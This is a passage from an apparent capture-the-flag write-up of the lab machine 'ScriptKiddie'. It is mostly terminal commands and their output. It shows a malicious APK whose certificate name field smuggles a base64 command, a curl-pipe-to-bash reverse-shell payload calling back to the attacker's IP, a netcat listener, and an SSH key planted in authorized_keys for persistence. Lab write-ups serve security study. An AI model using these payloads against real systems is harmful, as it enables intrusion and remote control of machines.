<div class="line-numbers" aria-hidden="true" style="counter-reset:line-number 0"><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div></div></div><p>I then receive the following request that prove that the exploit is working.</p>
<div class="language-bash line-numbers-mode" data-highlighter="shiki" data-ext="bash" data-title="bash" style="--shiki-light:#24292e;--shiki-dark:#abb2bf;--shiki-light-bg:#fff;--shiki-dark-bg:#282c34"><pre class="shiki shiki-themes github-light one-dark-pro vp-code"><code><span class="line"><span style="--shiki-light:#6F42C1;--shiki-dark:#61AFEF">_</span><span style="--shiki-light:#032F62;--shiki-dark:#98C379">  scripts</span><span style="--shiki-light:#032F62;--shiki-dark:#98C379"> nc</span><span style="--shiki-light:#005CC5;--shiki-dark:#D19A66"> -nklvp</span><span style="--shiki-light:#005CC5;--shiki-dark:#D19A66"> 443</span></span>
<span class="line"><span style="--shiki-light:#6F42C1;--shiki-dark:#61AFEF">Listening</span><span style="--shiki-light:#032F62;--shiki-dark:#98C379"> on</span><span style="--shiki-light:#005CC5;--shiki-dark:#D19A66"> 0.0.0.0</span><span style="--shiki-light:#005CC5;--shiki-dark:#D19A66"> 443</span></span>
<span class="line"><span style="--shiki-light:#6F42C1;--shiki-dark:#61AFEF">Connection</span><span style="--shiki-light:#032F62;--shiki-dark:#98C379"> received</span><span style="--shiki-light:#032F62;--shiki-dark:#98C379"> on</span><span style="--shiki-light:#005CC5;--shiki-dark:#D19A66"> 10.10.10.226</span><span style="--shiki-light:#005CC5;--shiki-dark:#D19A66"> 47724</span></span>
<span class="line"><span style="--shiki-light:#6F42C1;--shiki-dark:#61AFEF">GET</span><span style="--shiki-light:#032F62;--shiki-dark:#98C379"> /kid</span><span style="--shiki-light:#032F62;--shiki-dark:#98C379"> HTTP/1.1</span></span>
<span class="line"><span style="--shiki-light:#6F42C1;--shiki-dark:#61AFEF">Host:</span><span style="--shiki-light:#032F62;--shiki-dark:#98C379"> 10.10.14.58:443</span></span>
<span class="line"><span style="--shiki-light:#6F42C1;--shiki-dark:#61AFEF">User-Agent:</span><span style="--shiki-light:#032F62;--shiki-dark:#98C379"> curl/7.68.0</span></span>
<span class="line"><span style="--shiki-light:#6F42C1;--shiki-dark:#61AFEF">Accept:</span><span style="--shiki-light:#005CC5;--shiki-dark:#E5C07B"> *</span><span style="--shiki-light:#032F62;--shiki-dark:#98C379">/</span><span style="--shiki-light:#005CC5;--shiki-dark:#E5C07B">*</span></span></code></pre>
<div class="line-numbers" aria-hidden="true" style="counter-reset:line-number 0"><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div></div></div><p>So i decided to try to get a reverse shell. I used the payload <code>curl http://10.10.14.137/reverse-shell | bash</code>. Inside the file <code>reverse-shell</code>, I have the following payload <code>bash -i &gt;&amp; /dev/tcp/10.10.14.137/443 0&gt;&amp;1</code>. I served the file with <code>gop</code> and then uploaded it to the server in order to get a reverse shell on the machine.</p>
<div class="language-bash line-numbers-mode" data-highlighter="shiki" data-ext="bash" data-title="bash" style="--shiki-light:#24292e;--shiki-dark:#abb2bf;--shiki-light-bg:#fff;--shiki-dark-bg:#282c34"><pre class="shiki shiki-themes github-light one-dark-pro vp-code"><code><span class="line"><span style="--shiki-light:#D73A49;--shiki-dark:#ABB2BF">&gt;</span><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF">  cat reverse-shell</span></span>
<span class="line"><span style="--shiki-light:#6A737D;--shiki-light-font-style:inherit;--shiki-dark:#7F848E;--shiki-dark-font-style:italic">#!/bin/bash</span></span>
<span class="line"></span>
<span class="line"><span style="--shiki-light:#6F42C1;--shiki-dark:#61AFEF">bash</span><span style="--shiki-light:#005CC5;--shiki-dark:#D19A66"> -i</span><span style="--shiki-light:#D73A49;--shiki-dark:#ABB2BF"> &gt;&amp;</span><span style="--shiki-light:#032F62;--shiki-dark:#98C379"> /dev/tcp/10.10.14.137/443</span><span style="--shiki-light:#D73A49;--shiki-dark:#ABB2BF"> 0&gt;&amp;1</span></span>
<span class="line"></span>
<span class="line"><span style="--shiki-light:#D73A49;--shiki-dark:#ABB2BF">&gt;</span><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF"> python3 script.py</span></span>
<span class="line"><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF">[+] Manufacturing evil apkfile</span></span>
<span class="line"><span style="--shiki-light:#6F42C1;--shiki-dark:#61AFEF">Payload:</span><span style="--shiki-light:#032F62;--shiki-dark:#98C379"> curl</span><span style="--shiki-light:#032F62;--shiki-dark:#98C379"> http://10.10.14.137/reverse-shell</span><span style="--shiki-light:#D73A49;--shiki-dark:#ABB2BF"> |</span><span style="--shiki-light:#6F42C1;--shiki-dark:#61AFEF"> bash</span></span>
<span class="line"><span style="--shiki-light:#6F42C1;--shiki-dark:#61AFEF">-dname:</span><span style="--shiki-light:#032F62;--shiki-dark:#98C379"> CN='|echo Y3VybCBodHRwOi8vMTAuMTAuMTQuMTM3L3JldmVyc2Utc2hlbGwgfCBiYXNo | base64 -d | sh #</span></span>
<span class="line"></span>
<span class="line"><span style="--shiki-light:#032F62;--shiki-dark:#98C379">  adding: empty (stored 0%)</span></span>
<span class="line"><span style="--shiki-light:#032F62;--shiki-dark:#98C379">jar signed.</span></span>
<span class="line"></span>
<span class="line"><span style="--shiki-light:#032F62;--shiki-dark:#98C379">Warning:</span></span>
<span class="line"><span style="--shiki-light:#032F62;--shiki-dark:#98C379">The signer's</span><span style="--shiki-light:#032F62;--shiki-dark:#98C379"> certificate</span><span style="--shiki-light:#032F62;--shiki-dark:#98C379"> is</span><span style="--shiki-light:#032F62;--shiki-dark:#98C379"> self-signed.</span></span>
<span class="line"><span style="--shiki-light:#6F42C1;--shiki-dark:#61AFEF">The</span><span style="--shiki-light:#032F62;--shiki-dark:#98C379"> SHA1</span><span style="--shiki-light:#032F62;--shiki-dark:#98C379"> algorithm</span><span style="--shiki-light:#032F62;--shiki-dark:#98C379"> specified</span><span style="--shiki-light:#032F62;--shiki-dark:#98C379"> for</span><span style="--shiki-light:#032F62;--shiki-dark:#98C379"> the</span><span style="--shiki-light:#005CC5;--shiki-dark:#D19A66"> -digestalg</span><span style="--shiki-light:#032F62;--shiki-dark:#98C379"> option</span><span style="--shiki-light:#032F62;--shiki-dark:#98C379"> is</span><span style="--shiki-light:#032F62;--shiki-dark:#98C379"> considered</span><span style="--shiki-light:#032F62;--shiki-dark:#98C379"> a</span><span style="--shiki-light:#032F62;--shiki-dark:#98C379"> security</span><span style="--shiki-light:#032F62;--shiki-dark:#98C379"> risk.</span><span style="--shiki-light:#032F62;--shiki-dark:#98C379"> This</span><span style="--shiki-light:#032F62;--shiki-dark:#98C379"> algorithm</span><span style="--shiki-light:#032F62;--shiki-dark:#98C379"> will</span><span style="--shiki-light:#032F62;--shiki-dark:#98C379"> be</span><span style="--shiki-light:#032F62;--shiki-dark:#98C379"> disabled</span><span style="--shiki-light:#032F62;--shiki-dark:#98C379"> in</span><span style="--shiki-light:#032F62;--shiki-dark:#98C379"> a</span><span style="--shiki-light:#032F62;--shiki-dark:#98C379"> future</span><span style="--shiki-light:#032F62;--shiki-dark:#98C379"> update.</span></span>
<span class="line"><span style="--shiki-light:#6F42C1;--shiki-dark:#61AFEF">The</span><span style="--shiki-light:#032F62;--shiki-dark:#98C379"> SHA1withRSA</span><span style="--shiki-light:#032F62;--shiki-dark:#98C379"> algorithm</span><span style="--shiki-light:#032F62;--shiki-dark:#98C379"> specified</span><span style="--shiki-light:#032F62;--shiki-dark:#98C379"> for</span><span style="--shiki-light:#032F62;--shiki-dark:#98C379"> the</span><span style="--shiki-light:#005CC5;--shiki-dark:#D19A66"> -sigalg</span><span style="--shiki-light:#032F62;--shiki-dark:#98C379"> option</span><span style="--shiki-light:#032F62;--shiki-dark:#98C379"> is</span><span style="--shiki-light:#032F62;--shiki-dark:#98C379"> considered</span><span style="--shiki-light:#032F62;--shiki-dark:#98C379"> a</span><span style="--shiki-light:#032F62;--shiki-dark:#98C379"> security</span><span style="--shiki-light:#032F62;--shiki-dark:#98C379"> risk.</span><span style="--shiki-light:#032F62;--shiki-dark:#98C379"> This</span><span style="--shiki-light:#032F62;--shiki-dark:#98C379"> algorithm</span><span style="--shiki-light:#032F62;--shiki-dark:#98C379"> will</span><span style="--shiki-light:#032F62;--shiki-dark:#98C379"> be</span><span style="--shiki-light:#032F62;--shiki-dark:#98C379"> disabled</span><span style="--shiki-light:#032F62;--shiki-dark:#98C379"> in</span><span style="--shiki-light:#032F62;--shiki-dark:#98C379"> a</span><span style="--shiki-light:#032F62;--shiki-dark:#98C379"> future</span><span style="--shiki-light:#032F62;--shiki-dark:#98C379"> update.</span></span>
<span class="line"><span style="--shiki-light:#6F42C1;--shiki-dark:#61AFEF">POSIX</span><span style="--shiki-light:#032F62;--shiki-dark:#98C379"> file</span><span style="--shiki-light:#032F62;--shiki-dark:#98C379"> permission</span><span style="--shiki-light:#032F62;--shiki-dark:#98C379"> and/or</span><span style="--shiki-light:#032F62;--shiki-dark:#98C379"> symlink</span><span style="--shiki-light:#032F62;--shiki-dark:#98C379"> attributes</span><span style="--shiki-light:#032F62;--shiki-dark:#98C379"> detected.</span><span style="--shiki-light:#032F62;--shiki-dark:#98C379"> These</span><span style="--shiki-light:#032F62;--shiki-dark:#98C379"> attributes</span><span style="--shiki-light:#032F62;--shiki-dark:#98C379"> are</span><span style="--shiki-light:#032F62;--shiki-dark:#98C379"> ignored</span><span style="--shiki-light:#032F62;--shiki-dark:#98C379"> when</span><span style="--shiki-light:#032F62;--shiki-dark:#98C379"> signing</span><span style="--shiki-light:#032F62;--shiki-dark:#98C379"> and</span><span style="--shiki-light:#032F62;--shiki-dark:#98C379"> are</span><span style="--shiki-light:#032F62;--shiki-dark:#98C379"> not</span><span style="--shiki-light:#032F62;--shiki-dark:#98C379"> protected</span><span style="--shiki-light:#032F62;--shiki-dark:#98C379"> by</span><span style="--shiki-light:#032F62;--shiki-dark:#98C379"> the</span><span style="--shiki-light:#032F62;--shiki-dark:#98C379"> signature.</span></span>
<span class="line"></span>
<span class="line"><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF">[+] Done</span><span style="--shiki-light:#D73A49;--shiki-dark:#ABB2BF">!</span><span style="--shiki-light:#6F42C1;--shiki-dark:#61AFEF"> apkfile</span><span style="--shiki-light:#032F62;--shiki-dark:#98C379"> is</span><span style="--shiki-light:#032F62;--shiki-dark:#98C379"> at</span><span style="--shiki-light:#032F62;--shiki-dark:#98C379"> /tmp/tmpuzo16gf9/evil.apk</span></span>
<span class="line"><span style="--shiki-light:#6F42C1;--shiki-dark:#61AFEF">Do:</span><span style="--shiki-light:#032F62;--shiki-dark:#98C379"> msfvenom</span><span style="--shiki-light:#005CC5;--shiki-dark:#D19A66"> -x</span><span style="--shiki-light:#032F62;--shiki-dark:#98C379"> /tmp/tmpuzo16gf9/evil.apk</span><span style="--shiki-light:#005CC5;--shiki-dark:#D19A66"> -p</span><span style="--shiki-light:#032F62;--shiki-dark:#98C379"> android/meterpreter/reverse_tcp</span><span style="--shiki-light:#032F62;--shiki-dark:#98C379"> LHOST=</span><span style="--shiki-light:#005CC5;--shiki-dark:#D19A66">127.0.0.1</span><span style="--shiki-light:#032F62;--shiki-dark:#98C379"> LPORT=</span><span style="--shiki-light:#005CC5;--shiki-dark:#D19A66">4444</span><span style="--shiki-light:#005CC5;--shiki-dark:#D19A66"> -o</span><span style="--shiki-light:#032F62;--shiki-dark:#98C379"> /dev/null</span></span>
<span class="line"></span>
<span class="line"><span style="--shiki-light:#D73A49;--shiki-dark:#ABB2BF">&gt;</span><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF"> gop serve -H 0.0.0.0 -P 80</span></span>
<span class="line"><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF">[+] Serve file to: http://0.0.0.0:80 </span><span style="--shiki-light:#D73A49;--shiki-dark:#C678DD">for</span><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF"> /mnt/pentest/ScriptKiddie/AUDITOR/scripts</span></span>
<span class="line"><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF">[</span><span style="--shiki-light:#005CC5;--shiki-dark:#D19A66">2021.04.27</span><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF"> 13:51:27] [10.10.10.226:56970] GET /reverse-shell</span></span>
<span class="line"></span>
<span class="line"><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF">[</span><span style="--shiki-light:#005CC5;--shiki-dark:#D19A66">2021.04.27</span><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF"> 13:51:27] [10.10.10.226:56970]</span></span>
<span class="line"><span style="--shiki-light:#6F42C1;--shiki-dark:#61AFEF">GET</span><span style="--shiki-light:#032F62;--shiki-dark:#98C379"> /reverse-shell</span><span style="--shiki-light:#032F62;--shiki-dark:#98C379"> HTTP/1.1</span></span>
<span class="line"><span style="--shiki-light:#6F42C1;--shiki-dark:#61AFEF">User-Agent:</span><span style="--shiki-light:#032F62;--shiki-dark:#98C379"> curl/7.68.0</span></span>
<span class="line"><span style="--shiki-light:#6F42C1;--shiki-dark:#61AFEF">Accept:</span><span style="--shiki-light:#005CC5;--shiki-dark:#E5C07B"> *</span><span style="--shiki-light:#032F62;--shiki-dark:#98C379">/</span><span style="--shiki-light:#005CC5;--shiki-dark:#E5C07B">*</span></span></code></pre>
<div class="line-numbers" aria-hidden="true" style="counter-reset:line-number 0"><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div></div></div><p>And I retrieved a reverse shell :</p>
<div class="language-bash line-numbers-mode" data-highlighter="shiki" data-ext="bash" data-title="bash" style="--shiki-light:#24292e;--shiki-dark:#abb2bf;--shiki-light-bg:#fff;--shiki-dark-bg:#282c34"><pre class="shiki shiki-themes github-light one-dark-pro vp-code"><code><span class="line"><span style="--shiki-light:#D73A49;--shiki-dark:#ABB2BF">&gt;</span><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF"> nc -nklvp 443</span></span>
<span class="line"><span style="--shiki-light:#6F42C1;--shiki-dark:#61AFEF">Listening</span><span style="--shiki-light:#032F62;--shiki-dark:#98C379"> on</span><span style="--shiki-light:#005CC5;--shiki-dark:#D19A66"> 0.0.0.0</span><span style="--shiki-light:#005CC5;--shiki-dark:#D19A66"> 443</span></span>
<span class="line"><span style="--shiki-light:#6F42C1;--shiki-dark:#61AFEF">Connection</span><span style="--shiki-light:#032F62;--shiki-dark:#98C379"> received</span><span style="--shiki-light:#032F62;--shiki-dark:#98C379"> on</span><span style="--shiki-light:#005CC5;--shiki-dark:#D19A66"> 10.10.10.226</span><span style="--shiki-light:#005CC5;--shiki-dark:#D19A66"> 39724</span></span>
<span class="line"><span style="--shiki-light:#6F42C1;--shiki-dark:#61AFEF">bash:</span><span style="--shiki-light:#032F62;--shiki-dark:#98C379"> cannot</span><span style="--shiki-light:#032F62;--shiki-dark:#98C379"> set</span><span style="--shiki-light:#032F62;--shiki-dark:#98C379"> terminal</span><span style="--shiki-light:#032F62;--shiki-dark:#98C379"> process</span><span style="--shiki-light:#032F62;--shiki-dark:#98C379"> group</span><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF"> (915): Inappropriate ioctl </span><span style="--shiki-light:#D73A49;--shiki-dark:#C678DD">for</span><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF"> device</span></span>
<span class="line"><span style="--shiki-light:#6F42C1;--shiki-dark:#61AFEF">bash:</span><span style="--shiki-light:#032F62;--shiki-dark:#98C379"> no</span><span style="--shiki-light:#032F62;--shiki-dark:#98C379"> job</span><span style="--shiki-light:#032F62;--shiki-dark:#98C379"> control</span><span style="--shiki-light:#032F62;--shiki-dark:#98C379"> in</span><span style="--shiki-light:#032F62;--shiki-dark:#98C379"> this</span><span style="--shiki-light:#032F62;--shiki-dark:#98C379"> shell</span></span>
<span class="line"></span>
<span class="line"><span style="--shiki-light:#6F42C1;--shiki-dark:#61AFEF">kid@scriptkiddie:~/html$</span><span style="--shiki-light:#032F62;--shiki-dark:#98C379"> id</span><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF">; </span><span style="--shiki-light:#6F42C1;--shiki-dark:#61AFEF">hostname</span><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF">; </span><span style="--shiki-light:#6F42C1;--shiki-dark:#61AFEF">ip</span><span style="--shiki-light:#032F62;--shiki-dark:#98C379"> a</span></span>
<span class="line"><span style="--shiki-light:#6F42C1;--shiki-dark:#61AFEF">id</span><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF">; </span><span style="--shiki-light:#6F42C1;--shiki-dark:#61AFEF">hostname</span><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF">; </span><span style="--shiki-light:#6F42C1;--shiki-dark:#61AFEF">ip</span><span style="--shiki-light:#032F62;--shiki-dark:#98C379"> a</span></span>
<span class="line"><span style="--shiki-light:#24292E;--shiki-dark:#E06C75">uid</span><span style="--shiki-light:#D73A49;--shiki-dark:#56B6C2">=</span><span style="--shiki-light:#032F62;--shiki-dark:#98C379">1000</span><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF">(</span><span style="--shiki-light:#6F42C1;--shiki-dark:#61AFEF">kid</span><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF">) </span><span style="--shiki-light:#24292E;--shiki-dark:#E06C75">gid</span><span style="--shiki-light:#D73A49;--shiki-dark:#56B6C2">=</span><span style="--shiki-light:#032F62;--shiki-dark:#98C379">1000</span><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF">(</span><span style="--shiki-light:#6F42C1;--shiki-dark:#61AFEF">kid</span><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF">) </span><span style="--shiki-light:#24292E;--shiki-dark:#E06C75">groups</span><span style="--shiki-light:#D73A49;--shiki-dark:#56B6C2">=</span><span style="--shiki-light:#032F62;--shiki-dark:#98C379">1000</span><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF">(</span><span style="--shiki-light:#6F42C1;--shiki-dark:#61AFEF">kid</span><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF">)</span></span>
<span class="line"><span style="--shiki-light:#6F42C1;--shiki-dark:#61AFEF">scriptkiddie</span></span>
<span class="line"><span style="--shiki-light:#6F42C1;--shiki-dark:#61AFEF">1:</span><span style="--shiki-light:#032F62;--shiki-dark:#98C379"> lo:</span><span style="--shiki-light:#D73A49;--shiki-dark:#ABB2BF"> &lt;</span><span style="--shiki-light:#032F62;--shiki-dark:#98C379">LOOPBACK,UP,LOWER_U</span><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF">P</span><span style="--shiki-light:#D73A49;--shiki-dark:#ABB2BF">&gt;</span><span style="--shiki-light:#032F62;--shiki-dark:#98C379"> mtu</span><span style="--shiki-light:#005CC5;--shiki-dark:#D19A66"> 65536</span><span style="--shiki-light:#032F62;--shiki-dark:#98C379"> qdisc</span><span style="--shiki-light:#032F62;--shiki-dark:#98C379"> noqueue</span><span style="--shiki-light:#032F62;--shiki-dark:#98C379"> state</span><span style="--shiki-light:#032F62;--shiki-dark:#98C379"> UNKNOWN</span><span style="--shiki-light:#032F62;--shiki-dark:#98C379"> group</span><span style="--shiki-light:#032F62;--shiki-dark:#98C379"> default</span><span style="--shiki-light:#032F62;--shiki-dark:#98C379"> qlen</span><span style="--shiki-light:#005CC5;--shiki-dark:#D19A66"> 1000</span></span>
<span class="line"><span style="--shiki-light:#6F42C1;--shiki-dark:#61AFEF">    link/loopback</span><span style="--shiki-light:#032F62;--shiki-dark:#98C379"> 00:00:00:00:00:00</span><span style="--shiki-light:#032F62;--shiki-dark:#98C379"> brd</span><span style="--shiki-light:#032F62;--shiki-dark:#98C379"> 00:00:00:00:00:00</span></span>
<span class="line"><span style="--shiki-light:#6F42C1;--shiki-dark:#61AFEF">    inet</span><span style="--shiki-light:#032F62;--shiki-dark:#98C379"> 127.0.0.1/8</span><span style="--shiki-light:#032F62;--shiki-dark:#98C379"> scope</span><span style="--shiki-light:#032F62;--shiki-dark:#98C379"> host</span><span style="--shiki-light:#032F62;--shiki-dark:#98C379"> lo</span></span>
<span class="line"><span style="--shiki-light:#6F42C1;--shiki-dark:#61AFEF">       valid_lft</span><span style="--shiki-light:#032F62;--shiki-dark:#98C379"> forever</span><span style="--shiki-light:#032F62;--shiki-dark:#98C379"> preferred_lft</span><span style="--shiki-light:#032F62;--shiki-dark:#98C379"> forever</span></span>
<span class="line"><span style="--shiki-light:#6F42C1;--shiki-dark:#61AFEF">    inet6</span><span style="--shiki-light:#032F62;--shiki-dark:#98C379"> ::1/128</span><span style="--shiki-light:#032F62;--shiki-dark:#98C379"> scope</span><span style="--shiki-light:#032F62;--shiki-dark:#98C379"> host</span></span>
<span class="line"><span style="--shiki-light:#6F42C1;--shiki-dark:#61AFEF">       valid_lft</span><span style="--shiki-light:#032F62;--shiki-dark:#98C379"> forever</span><span style="--shiki-light:#032F62;--shiki-dark:#98C379"> preferred_lft</span><span style="--shiki-light:#032F62;--shiki-dark:#98C379"> forever</span></span>
<span class="line"><span style="--shiki-light:#6F42C1;--shiki-dark:#61AFEF">2:</span><span style="--shiki-light:#032F62;--shiki-dark:#98C379"> ens160:</span><span style="--shiki-light:#D73A49;--shiki-dark:#ABB2BF"> &lt;</span><span style="--shiki-light:#032F62;--shiki-dark:#98C379">BROADCAST,MULTICAST,UP,LOWER_U</span><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF">P</span><span style="--shiki-light:#D73A49;--shiki-dark:#ABB2BF">&gt;</span><span style="--shiki-light:#032F62;--shiki-dark:#98C379"> mtu</span><span style="--shiki-light:#005CC5;--shiki-dark:#D19A66"> 1500</span><span style="--shiki-light:#032F62;--shiki-dark:#98C379"> qdisc</span><span style="--shiki-light:#032F62;--shiki-dark:#98C379"> mq</span><span style="--shiki-light:#032F62;--shiki-dark:#98C379"> state</span><span style="--shiki-light:#032F62;--shiki-dark:#98C379"> UP</span><span style="--shiki-light:#032F62;--shiki-dark:#98C379"> group</span><span style="--shiki-light:#032F62;--shiki-dark:#98C379"> default</span><span style="--shiki-light:#032F62;--shiki-dark:#98C379"> qlen</span><span style="--shiki-light:#005CC5;--shiki-dark:#D19A66"> 1000</span></span>
<span class="line"><span style="--shiki-light:#6F42C1;--shiki-dark:#61AFEF">    link/ether</span><span style="--shiki-light:#032F62;--shiki-dark:#98C379"> 00:50:56:b9:a2:48</span><span style="--shiki-light:#032F62;--shiki-dark:#98C379"> brd</span><span style="--shiki-light:#032F62;--shiki-dark:#98C379"> ff:ff:ff:ff:ff:ff</span></span>
<span class="line"><span style="--shiki-light:#6F42C1;--shiki-dark:#61AFEF">    inet</span><span style="--shiki-light:#032F62;--shiki-dark:#98C379"> 10.10.10.226/24</span><span style="--shiki-light:#032F62;--shiki-dark:#98C379"> brd</span><span style="--shiki-light:#005CC5;--shiki-dark:#D19A66"> 10.10.10.255</span><span style="--shiki-light:#032F62;--shiki-dark:#98C379"> scope</span><span style="--shiki-light:#032F62;--shiki-dark:#98C379"> global</span><span style="--shiki-light:#032F62;--shiki-dark:#98C379"> ens160</span></span>
<span class="line"><span style="--shiki-light:#6F42C1;--shiki-dark:#61AFEF">       valid_lft</span><span style="--shiki-light:#032F62;--shiki-dark:#98C379"> forever</span><span style="--shiki-light:#032F62;--shiki-dark:#98C379"> preferred_lft</span><span style="--shiki-light:#032F62;--shiki-dark:#98C379"> forever</span></span>
<span class="line"><span style="--shiki-light:#6F42C1;--shiki-dark:#61AFEF">    inet6</span><span style="--shiki-light:#032F62;--shiki-dark:#98C379"> dead:beef::250:56ff:feb9:a248/64</span><span style="--shiki-light:#032F62;--shiki-dark:#98C379"> scope</span><span style="--shiki-light:#032F62;--shiki-dark:#98C379"> global</span><span style="--shiki-light:#032F62;--shiki-dark:#98C379"> dynamic</span><span style="--shiki-light:#032F62;--shiki-dark:#98C379"> mngtmpaddr</span></span>
<span class="line"><span style="--shiki-light:#6F42C1;--shiki-dark:#61AFEF">       valid_lft</span><span style="--shiki-light:#032F62;--shiki-dark:#98C379"> 86396sec</span><span style="--shiki-light:#032F62;--shiki-dark:#98C379"> preferred_lft</span><span style="--shiki-light:#032F62;--shiki-dark:#98C379"> 14396sec</span></span>
<span class="line"><span style="--shiki-light:#6F42C1;--shiki-dark:#61AFEF">    inet6</span><span style="--shiki-light:#032F62;--shiki-dark:#98C379"> fe80::250:56ff:feb9:a248/64</span><span style="--shiki-light:#032F62;--shiki-dark:#98C379"> scope</span><span style="--shiki-light:#032F62;--shiki-dark:#98C379"> link</span></span>
<span class="line"><span style="--shiki-light:#6F42C1;--shiki-dark:#61AFEF">       valid_lft</span><span style="--shiki-light:#032F62;--shiki-dark:#98C379"> forever</span><span style="--shiki-light:#032F62;--shiki-dark:#98C379"> preferred_lft</span><span style="--shiki-light:#032F62;--shiki-dark:#98C379"> forever</span></span></code></pre>
<div class="line-numbers" aria-hidden="true" style="counter-reset:line-number 0"><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div></div></div><h3>Flag</h3>
<p>The flag <code>bbfd7dbd8839939f3c897bbe1b4d480a</code> was retrieved on the machine.</p>
<figure><figcaption>user-flag</figcaption></figure>
<h2>Enumeration as user <code>kid</code></h2>
<p>I added my public key to the authorised file of the user <code>kid</code> in order to get an SSH access.</p>
<div class="language-bash line-numbers-mode" data-highlighter="shiki" data-ext="bash" data-title="bash" style="--shiki-light:#24292e;--shiki-dark:#abb2bf;--shiki-light-bg:#fff;--shiki-dark-bg:#282c34"><pre class="shiki shiki-themes github-light one-dark-pro vp-code"><code><span class="line"><span style="--shiki-light:#D73A49;--shiki-dark:#ABB2BF">&gt;</span><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF"> echo </span><span style="--shiki-light:#032F62;--shiki-dark:#98C379">'ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQC7ubS/TY4DGevXF14KzBA3SXpmKwtXscKM6nTk2SQuaDpI1dv0MdlAf1E6Yidh8uzPY+j9HxPzejGsVNGjzmr2E6OIEP7D+HvTH0QLmwHMtYrgl54Z8AUzgnUwrkeatyP4SeN+f8nBG2tBDW+VSzuDsJ0T6DtEX/laGOXX6GWoEX1dU+5DlbVQwt1LWIk/bB86cG2EQf6v5TVKoDTRHJq5G2W063rjubtlEg16d3b577YHDsMhQRXz59UqdJZsx87qYVHSZj96gFTbczj9+OKEOJkn+kIZxsqBT+4KXamskif6tejLu6SedGXuB3If7ey6zfoaCCSQWv1hfBsv/XtaJIjdPC8BIMsskoYGaZY83ju5+KZQH0ePK1poXeWH63w0Hez+rLXRoso3i/7I/qsw0xxXUwXHXhGtdMiFPI5PfDQjtmLUpKuxeXgiFdei8A96C8V+CbuaeUUMO9r/jYB8zkzGeboUU93R6VARAaRytJC1ijbbHJmxo9Vu+utosoU= root@Kali-HTB'</span><span style="--shiki-light:#D73A49;--shiki-dark:#ABB2BF"> &gt;&gt;</span><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF"> /home/kid/.ssh/authorized_keys</span></span></code></pre>
<div class="line-numbers" aria-hidden="true" style="counter-reset:line-number 0"><div class="line-number"></div></div></div><p>Another user was found on the machine <code>pwn</code>. The user as an all-readable file <code>scanlosers.sh</code>. It might be the script used to "hackback" the users that put special characters into the <code>searchsploit</code> section of the web application.</p>
<div class="language-bash line-numbers-mode" data-highlighter="shiki" data-ext="bash" data-title="bash" style="--shiki-light:#24292e;--shiki-dark:#abb2bf;--shiki-light-bg:#fff;--shiki-dark-bg:#282c34"><pre class="shiki shiki-themes github-light one-dark-pro vp-code"><code><span class="line"><span style="--shiki-light:#6F42C1;--shiki-dark:#61AFEF">kid@scriptkiddie:~$</span><span style="--shiki-light:#032F62;--shiki-dark:#98C379"> ls</span><span style="--shiki-light:#005CC5;--shiki-dark:#D19A66"> -lah</span><span style="--shiki-light:#032F62;--shiki-dark:#98C379"> /home</span></span>
<span class="line"><span style="--shiki-light:#6F42C1;--shiki-dark:#61AFEF">total</span><span style="--shiki-light:#032F62;--shiki-dark:#98C379"> 16K</span></span>
